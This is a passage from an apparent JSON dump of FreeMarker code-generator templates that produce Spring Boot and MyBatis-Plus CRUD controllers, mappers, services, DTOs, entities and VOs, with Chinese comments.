${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus/${classInfo.className}Mapper.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className};\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}> pageAll(${classInfo.className} queryParamDTO,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className} queryParamDTO);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus/${classInfo.className}Service.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}Vo;\nimport ${packageName}.dto.${classInfo.className}Dto;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.bjc.lcp.system.common.utils.DataResult;\nimport org.springframework.web.servlet.ModelAndView;\nimport javax.annotation.Resource;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    //@Autowired\n    //private CntService cntService;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public DataResult add(@Validated(${classInfo.className}Vo.Create.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return DataResult.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public DataResult delete(@Validated(${classInfo.className}Vo.Delete.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return DataResult.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public DataResult delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return DataResult.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public DataResult update(@Validated(${classInfo.className}Vo.Update.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            return DataResult.fail(\"数据不存在\");\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.updateById(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public DataResult getOne(@RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return DataResult.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public DataResult listByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return DataResult.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public DataResult findListByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return DataResult.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/dto.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable; \nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Dto  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Dto() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/service.impl.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single/vo.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Vo  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Vo() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.vo.${classInfo.className}Vo;\nimport ${packageName}.dto.${classInfo.className}Dto;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\n<#--import org.apache.shiro.authz.annotation.RequiresPermissions;-->\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\nimport io.github.wujun728.common.base.Result;\nimport javax.annotation.Resource;\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    